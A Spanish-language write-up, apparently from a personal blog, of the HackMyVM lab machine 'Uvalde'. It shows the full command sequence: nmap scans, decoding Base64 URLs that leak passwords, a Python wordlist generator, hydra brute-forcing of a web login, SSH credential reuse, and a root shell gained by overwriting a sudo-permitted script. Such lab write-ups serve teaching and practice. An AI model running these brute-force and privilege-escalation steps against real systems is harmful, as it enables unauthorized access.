cd ~/blog

~/writeups/hmv/041-uvalde.md

041 - Uvalde

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Predictable Password GenerationPassword GuessingCredential ReuseWritable Privileged Executable File
hackmyvm.eu/machines/machine.php?vm=Uvalde

~2 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.39
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.39
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-10 19:03 -03
Nmap scan report for 192.168.1.39
Host is up (0.00046s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1000     1000         5154 Jan 28  2023 output
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 3a:09:a4:da:d7:db:99:ee:a5:51:05:e9:af:e7:08:90 (RSA)
|   256 cb:42:6a:be:22:13:2c:f2:57:f9:80:d1:f7:fb:88:5c (ECDSA)
|_  256 44:3c:b4:0f:aa:c3:94:fa:23:15:19:e3:e5:18:56:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Agency - Start Bootstrap Theme
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.15 seconds

Enumeramos con gobuster:

...
/login.php            (Status: 200) [Size: 1022]
/user.php             (Status: 200) [Size: 1022]
/index.php            (Status: 200) [Size: 29604]
/success.php          (Status: 200) [Size: 1022]
/create_account.php   (Status: 200) [Size: 1003]
...

Análisis del esquema de contraseñas

En el FTP anónimo hay un archivo output del que obtenemos un usuario, matthew. En /create_account.php confirmamos que el usuario admin existe. Creamos un usuario test y, al hacerlo, la web genera una URL en Base64 que revela la contraseña asignada. Base64 sólo cambia su representación, por lo que cualquier persona que reciba la URL puede recuperar el valor original:

http://192.168.1.39/success.php?dXNlcm5hbWU9dGVzdCZwYXNzd29yZD10ZXN0MjAyNEA0NTYx
❯ echo "dXNlcm5hbWU9dGVzdCZwYXNzd29yZD10ZXN0MjAyNEA0NTYx" | base64 -d
username=test&password=test2024@4561

Repetimos con otro usuario para comprobar que no se trata de una contraseña aislada, sino de un patrón reproducible:

http://192.168.1.39/success.php?dXNlcm5hbWU9cHduZWQmcGFzc3dvcmQ9cHduZWQyMDI0QDk0ODk=
❯ echo "dXNlcm5hbWU9cHduZWQmcGFzc3dvcmQ9cHduZWQyMDI0QDk0ODk=" | base64 -d
username=pwned&password=pwned2024@9489

Predictable Password Generation y Password Guessing

Estamos ante Predictable Password Generation: la contraseña sigue el patrón usuario + año + @ + cuatro dígitos. Una vez conocidos el usuario y el año, la parte aparentemente aleatoria queda reducida a sólo 10 000 candidatos, desde 0000 hasta 9999. Generamos exactamente ese espacio de búsqueda para cada cuenta:

❯ cat dict_generator.py
user = 'admin'
dictionary = 'passwd_' + user + '.txt'
anio = '2023'

with open(dictionary, "a") as dic:
    for j in range (0, 10000):
            num = str(j).zfill(4)
            passwd = user + anio + '@' + num
            dic.write(passwd + '\n')

Hydra realiza un ataque en línea contra el formulario y valida los candidatos generados. En este caso no estamos crackeando un hash, sino consultando al servidor hasta encontrar una contraseña aceptada:

❯ hydra -l admin -P passwd_admin.txt 192.168.1.39 http-post-form '/login.php:username=^USER^&password=^PASS^:<input type="submit" value="Login">' -t 64
...
[80][http-post-form] host: 192.168.1.39   login: admin   password: admin2023@5344
...

❯ hydra -l matthew -P passwd_matthew.txt 192.168.1.39 http-post-form '/login.php:username=^USER^&password=^PASS^:<input type="submit" value="Login">' -t 64
...
[80][http-post-form] host: 192.168.1.39   login: matthew   password: matthew2023@1554
...

Escalada de privilegios

La web autenticada sólo muestra una página en construcción, pero la misma combinación funciona en SSH. Esta Credential Reuse convierte una contraseña descubierta en la aplicación web en acceso interactivo al sistema. Entramos como matthew, obtenemos la primera flag y revisamos sudo -l:

matthew@uvalde:~$ sudo -l
Matching Defaults entries for matthew on uvalde:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User matthew may run the following commands on uvalde:
    (ALL : ALL) NOPASSWD: /bin/bash /opt/superhack

La regla no autoriza cualquier comando, pero sí ejecuta /opt/superhack mediante Bash como cualquier usuario. El problema es un Writable Privileged Executable File: sudo valida la ruta permitida, no que su contenido siga siendo el original. Como matthew puede renombrar el archivo y crear otro en la misma ruta, sustituimos el contenido por una orden que abra una shell:

matthew@uvalde:/opt$ mv superhack superhack.bak
matthew@uvalde:/opt$ echo "bash" > superhack
matthew@uvalde:/opt$ sudo /bin/bash /opt/superhack
root@uvalde:/opt#

Obtenemos una shell de root y capturamos la bandera.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados